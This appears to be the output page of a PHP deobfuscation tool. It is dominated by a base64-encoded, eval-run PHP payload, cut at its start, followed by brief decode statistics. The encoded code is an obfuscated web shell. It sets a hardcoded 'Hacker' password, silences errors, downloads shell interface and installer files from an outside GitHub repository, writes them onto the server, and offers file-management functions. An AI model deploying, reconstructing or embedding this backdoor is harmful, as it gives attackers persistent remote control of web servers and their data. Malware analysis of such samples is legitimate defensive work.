E0MSJdID0gIlw2NCI7IH0gZWxzZSB7IGlmIChmaWxlX3B1dF9jb250ZW50cygkaW5zdGFsbGZpbGUsICRpbnN0YWxsQ29udGVudCkpIHsgJHJlc3VsdFsiXDE0NFwxNDFcMTY0XDE0MSJdID0gIlw2MSI7IH0gZWxzZSB7ICRyZXN1bHRbIlx4NjRcMTQxXHg3NFwxNDEiXSA9ICJcNjMiOyB9IH0gfSAkcmVzdWx0WyJceDczXDE2NVx4NjNceDYzXDE0NVx4NzNceDczIl0gPSB0cnVlOyB9IGVsc2UgeyBpZiAoJGRhdGEgPT0gIlx4NTVceDZlXHg2OVwxNTZcMTYzXHg3NFwxNDFceDZjXDE1NCIpIHsgJHVuaW5zdGFsbENvbnRlbnQgPSBnZXRDb250ZW50KCJceDY4XHg3NFwxNjRcMTYwXDE2M1x4M2FcNTdcNTdcMTYyXDE0MVx4NzdceDJlXDE0N1x4NjlceDc0XDE1MFx4NzVceDYyXDE2NVx4NzNcMTQ1XDE2Mlx4NjNceDZmXHg2ZVwxNjRcMTQ1XHg2ZVwxNjRceDJlXDE0M1wxNTdceDZkXDU3XHg3M1x4NjFcMTU1XHg2OVwxNjVceDZjXHg2MVwxNTRceDY5XDE1NVx4MzFcNTdceDczXDE1MFx4NjVceDZjXHg2Y1x4MmZcMTU1XDE0MVx4NjlceDZlXHgyZlwxNjVcMTU2XHg2OVwxNTZceDczXHg3NFx4NjFcMTU0XDE1NFx4MmZceDc1XHg2ZVx4NjlceDZlXDE2M1wxNjRcMTQxXDE1NFx4NmNceDJlXHg3MFx4NjhceDcwIik7IGlmICgkdW5pbnN0YWxsQ29udGVudCA9PSAnJykgeyAkcmVzdWx0WyJcMTQ0XDE0MVx4NzRceDYxIl0gPSAiXHgzMiI7IH0gZWxzZSB7IGlmIChmaWxlX3B1dF9jb250ZW50cygiXDE2M1w1NlwxNjBcMTUwXDE2MCIsICR1bmluc3RhbGxDb250ZW50KSkgeyAkcmVzdWx0WyJcMTQ0XDE0MVwxNjRcMTQxIl0gPSAiXDYxIjsgfSBlbHNlIHsgJHJlc3VsdFsiXHg2NFx4NjFcMTY0XHg2MSJdID0gIlx4MzMiOyB9IH0gJHJlc3VsdFsiXHg3M1wxNjVceDYzXDE0M1wxNDVceDczXHg3MyJdID0gdHJ1ZTsgfSBlbHNlIHsgJHJlc3VsdFsiXHg3M1wxNjVceDYzXDE0M1x4NjVceDczXDE2MyJdID0gZmFsc2U7IH0gfSB9IH0gfSB9IH0gfSB9IH0gfSB9IH0gfSB9IH0gZWNobyBqc29uX2VuY29kZSgkcmVzdWx0KTsgZGllOyB9IGVsc2UgeyBpZiAoaXNzZXQoJF9QT1NUWyJceDZjXDE1N1x4NjdcMTUxXHg2ZSJdKSkgeyAkbG9naW4gPSAkX1BPU1RbIlx4NmNcMTU3XHg2N1wxNTFcMTU2Il07IGlmICgkbG9naW4gPT0gJEhhY2tlcikgeyAkX1NFU1NJT05bIlx4NDhcMTQxXDE0M1x4NmJceDY1XHg3MiJdID0gJEhhY2tlcjsgJHJlc3VsdFsiXDE2M1wxNjVcMTQzXHg2M1x4NjVceDczXDE2MyJdID0gdHJ1ZTsgfSBlbHNlIHsgJHJlc3VsdFsiXHg3M1x4NzVceDYzXDE0M1wxNDVcMTYzXHg3MyJdID0gZmFsc2U7ICRyZXN1bHRbIlx4NjRcMTQxXDE2NFwxNDEiXSA9ICJceDU3XHg3Mlx4NmZceDZlXHg2N1w0MFx4NTBcMTQxXDE2M1wxNjNcMTY3XDE1N1x4NzJcMTQ0XDQxIjsgfSBlY2hvIGpzb25fZW5jb2RlKCRyZXN1bHQpOyBkaWU7IH0gZWxzZSB7ICRpbmRleCA9IGdldENvbnRlbnQoIlwxNTBcMTY0XDE2NFwxNjBcMTYzXDA3MlwwNTdcMDU3XDE0N1wxNTFcMTY0XDE1MFwxNjVcMTQyXDA1NlwxNDNcMTU3XDE1NVwwNTdcMTYzXDE0MVwxNTVcMTUxXDE2NVwxNTRcMTQxXDE1NFwxNTFcMTU1XDA2MVwwNTdcMTYzXDE1MFwxNDVcMTU0XDE1NFwwNTdcMTYyXDE0MVwxNjdcMDU3XDE1NVwxNDFcMTUxXDE1NlwwNTdcMTUwXDE2NFwxNTVcMTU0XDA1N1wxNjZcMDYxXDA1N1wxNTFcMTU2XDE0NFwxNDVcMTcwXDA1NlwxNTBcMTY0XDE1NVwxNTQiKTsgJHN0eWxlID0gZ2V0Q29udGVudCgiXDE1MFwxNjRcMTY0XDE2MFwxNjNcMDcyXDA1N1wwNTdcMTYyXDE0MVwxNjdcMDU2XDE0N1wxNTFcMTY0XDE1MFwxNjVcMTQyXDE2NVwxNjNcMTQ1XDE2MlwxNDNcMTU3XDE1NlwxNjRcMTQ1XDE1NlwxNjRcMDU2XDE0M1wxNTdcMTU1XDA1N1wxNjNcMTQxXDE1NVwxNTFcMTY1XDE1NFwxNDFcMTU0XDE1MVwxNTVcMDYxXDA1N1wxNjNcMTUwXDE0NVwxNTRcMTU0XDA1N1wxNTVcMTQxXDE1MVwxNTZcMDU3XDE2M1wxNjRcMTcxXDE1NFwxNDVcMDU3XDE2NlwwNjFcMDU3XDE2M1wxNjRcMTcxXDE1NFwxNDVcMDYxXDA1NlwxNDNcMTYzXDE2MyIpOyAkc2NyaXB0ID0gZ2V0Q29udGVudCgiXDE1MFwxNjRcMTY0XDE2MFwxNjNcMDcyXDA1N1wwNTdcMTQ3XDE1MVwxNjRcMTUwXDE2NVwxNDJcMDU2XDE0M1wxNTdcMTU1XDA1N1wxNjNcMTQxXDE1NVwxNTFcMTY1XDE1NFwxNDFcMTU0XDE1MVwxNTVcMDYxXDA1N1wxNjNcMTUwXDE0NVwxNTRcMTU0XDA1N1wxNjJcMTQxXDE2N1wwNTdcMTU1XDE0MVwxNTFcMTU2XDA1N1wxNjNcMTQzXDE2MlwxNTFcMTYwXDE2NFwwNTdcMTY2XDA2MVwwNTdcMTYzXDE0M1wxNjJcMTUxXDE2MFwxNjRcMDU2XDE1MlwxNjMiKTsgZWNobyBzdHJfcmVwbGFjZSgiXDE3NFwxMjNcMTAzXHg1MlwxMTFcMTIwXHg1NFwxNzQiLCAkc2NyaXB0LCBzdHJfcmVwbGFjZSgiXHg3Y1x4NTNcMTI0XDEzMVx4NGNceDQ1XHg3YyIsICRzdHlsZSwgJGluZGV4KSk7IH0gfSBnb3RvIEhubnpnOyB6c0JPajogZnVuY3Rpb24gZmlsZV9zaXplKCRmaWxlKSB7ICRzaXplID0gZmlsZXNpemUoJGZpbGUpOyByZXR1cm4gZm9ybWF0X3NpemUoJHNpemUpOyB9IGdvdG8ga2xvYTk7IHVVNmF6OiBmdW5jdGlvbiBHZXRfTmFtZSgkcGF0aCkgeyAkcGFydHMgPSBleHBsb2RlKCJceDJmIiwgJHBhdGgpOyAkbGFzdCA9IGFycmF5X3BvcCgkcGFydHMpOyAkZmlsZSA9IGFycmF5KGltcGxvZGUoIlw1NyIsICRwYXJ0cyksICRsYXN0KTsgcmV0dXJuICRmaWxlWzFdOyB9IGdvdG8gVjFoTnk7IEFUZ0V4OiBmdW5jdGlvbiBmb2xkZXJfc2l6ZSgkZm9sZGVyKSB7ICRzaXplID0gMDsgJGZpbGVzID0gc2NhbmRpcigkZm9sZGVyKTsgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7IGlmICgkZmlsZSA9PT0gIlx4MmUiIG9yICRmaWxlID09PSAiXDU2XHgyZSIpIHsgY29udGludWU7IH0gZWxzZSB7ICRwYXRoID0gJGZvbGRlciAuICJceDJmIiAuICRmaWxlOyBpZiAoaXNfZmlsZSgkcGF0aCkpIHsgJHNpemUgPSAkc2l6ZSArIGZpbGVzaXplKCRwYXRoKTsgfSBlbHNlIHsgJHNpemUgPSAkc2l6ZSArIGZvbGRlcl9maWxlcygkcGF0aCk7IH0gfSB9IHJldHVybiBmb3JtYXRfc2l6ZSgkc2l6ZSk7IH0gZ290byB6c0JPajsgVjFoTnk6IGZ1bmN0aW9uIGdldERlY29kZSgkZW5jb2RlKSB7ICRrZXkgPSAiXDEyM1wxNDFceDZkXDE1MVwxNjVceDZjXDEwMVwxNTRcMTUxXHg2ZCI7ICRjaGlwZXIgPSAiXDEwMVwxMDVcMTIzXDU1XHgzMVx4MzJcNzBcNTVceDQzXDEyNFwxMjIiOyAkaXYgPSBoZXgyYmluKCJcNjJcMTQzXDYyXHgzNlw3MVx4NjFcNjZceDM1XHgzMFx4MzNcNjdceDYzXHgzMVw3MVx4MzBcMTQ2XHgzNFw3MVx4MzlcNjRcMTQ2XDYxXDYxXDE0M1w2MFwxNDZcNjFceDY1XDYzXDY3XHg2M1x4MzAiKTsgcmV0dXJuIG9wZW5zc2xfZGVjcnlwdCgkZW5jb2RlLCAkY2hpcGVyLCAka2V5LCAwLCAkaXYpOyB9IGdvdG8gTDVUZ0k7IGtsb2E5OiBmdW5jdGlvbiBjaGVja1VuZG8oJGRpcikgeyAkcGFydHMgPSBleHBsb2RlKCJceDJlIiwgJGRpcik7ICRsYXN0ID0gYXJyYXlfcG9wKCRwYXJ0cyk7ICR1bmRvRGlyID0gYXJyYXkoaW1wbG9kZSgiXHgyZiIsICRwYXJ0cyksICRsYXN0KTsgaWYgKCR1bmRvRGlyWzFdID09ICJceDJmIikgeyByZXR1cm4gdHJ1ZTsgfSBlbHNlIHsgcmV0dXJuIGZhbHNlOyB9IH0gZ290byBoTXY5TjsgaWNuUzI6IGVycm9yX3JlcG9ydGluZygwKTsgZ290byBMT2lBZDsgbmtFaEI6IGZ1bmN0aW9uIGZvcm1hdF9zaXplKCRzaXplKSB7IGlmICgkc2l6ZSA+PSAxMDczNzQxODI0KSB7ICRzaXplID0gbnVtYmVyX2Zvcm1hdCgkc2l6ZSAvIDEwNzM3NDE4MjQsIDIpIC4gIlw0MFx4NDdceDQyIjsgfSBlbHNlIHsgaWYgKCRzaXplID49IDEwNDg1NzYpIHsgJHNpemUgPSBudW1iZXJfZm9ybWF0KCRzaXplIC8gMTA0ODU3NiwgMikgLiAiXDQwXHg0ZFx4NDIiOyB9IGVsc2UgeyBpZiAoJHNpemUgPj0gMTAyNCkgeyAkc2l6ZSA9IG51bWJlcl9mb3JtYXQoJHNpemUgLyAxMDI0LCAyKSAuICJcNDBcMTEzXDEwMiI7IH0gZWxzZSB7IGlmICgkc2l6ZSA+IDEpIHsgJHNpemUgPSAkc2l6ZSAuICJcNDBcMTQyXDE3MVwxNjRcMTQ1XDE2MyI7IH0gZWxzZSB7IGlmICgkc2l6ZSA9PSAxKSB7ICRzaXplID0gJHNpemUgLiAiXDQwXHg2Mlx4NzlcMTY0XHg2NSI7IH0gZWxzZSB7ICRzaXplID0gIlw2MFx4MjBcMTQyXHg3OVwxNjRcMTQ1XHg3MyI7IH0gfSB9IH0gfSByZXR1cm4gJHNpemU7IH0gZ290byBQZTVGWjsgTDVUZ0k6IGZ1bmN0aW9uIGdldENvbnRlbnQoJHVybCkgeyAkY29udGV4dCA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZShhcnJheSgiXDE1MFx4NzRceDc0XDE2MCIgPT4gYXJyYXkoIlwxNTBceDY1XHg2MVwxNDRcMTQ1XDE2MiIgPT4gIlx4NTVceDczXHg2NVx4NzJceDJkXHg0MVx4NjdcMTQ1XHg2ZVwxNjRcNzJceDIwXDExNVwxNTdceDdhXHg2OVwxNTRceDZjXDE0MVw1N1x4MzVceDJlXHgzMFw0MFx4MjhceDU3XDE1MVwxNTZceDY0XHg2ZlwxNjdcMTYzXHgyMFwxMTZceDU0XHgyMFx4MzFcNjBcNTZcNjBcNzNceDIwXHg1N1x4NGZcMTI3XHgzNlx4MzRcNTFcNDBcMTAxXHg3MFx4NzBcMTU0XHg2NVwxMjdceDY1XHg2MlwxMTNceDY5XDE2NFw1N1x4MzVcNjNcNjdcNTZceDMzXDY2XDQwXHgyOFx4NGJcMTEwXDEyNFwxMTVcMTE0XDU0XDQwXHg2Y1x4NjlceDZiXDE0NVx4MjBceDQ3XHg2NVwxNDNcMTUzXHg2Zlx4MjlceDIwXHg0M1x4NjhcMTYyXHg2ZlwxNTVcMTQ1XDU3XDY1XHgzMFx4MmVcNjBcNTZceDMyXHgzNlx4MzZceDMxXDU2XDYxXHgzMFx4MzJcNDBceDUzXDE0MVx4NjZcMTQxXDE2MlwxNTFcNTdcNjVcNjNcNjdcNTZcNjNceDM2IikpKTsgcmV0dXJuICRyZXN1bHQgPSBmaWxlX2dldF9jb250ZW50cygkdXJsLCBmYWxzZSwgJGNvbnRleHQpOyB9IGdvdG8gY1RocDQ7IExPaUFkOiAkSGFja2VyID0gIlwwNjBcMDYwXDA2MVwwNjBcMDYxXDA2MVwwNjBcMDYwIjsgZ290byBua0VoQjsgUGU1Rlo6IGZ1bmN0aW9uIGZvbGRlcl9maWxlcygkZm9sZGVyKSB7ICRzaXplID0gMDsgJGZpbGVzID0gc2NhbmRpcigkZm9sZGVyKTsgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7IGlmICgkZmlsZSA9PT0gIlw1NiIgb3IgJGZpbGUgPT09ICJceDJlXHgyZSIpIHsgY29udGludWU7IH0gZWxzZSB7ICRwYXRoID0gJGZvbGRlciAuICJcNTciIC4gJGZpbGU7IGlmIChpc19maWxlKCRwYXRoKSkgeyAkc2l6ZSA9ICRzaXplICsgZmlsZXNpemUoJHBhdGgpOyB9IGVsc2UgeyAkc2l6ZSA9ICRzaXplICsgZm9sZGVyX2ZpbGVzKCRwYXRoKTsgfSB9IH0gcmV0dXJuICRzaXplOyB9IGdvdG8gQVRnRXg7IEVkWURvOiBzZXNzaW9uX3N0YXJ0KCk7IGdvdG8gaWNuUzI7IEhubnpnOiAK')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 a908ca5c61f5e047d4183319abe6c6ff
Eval Count 1
Decode Time 104 ms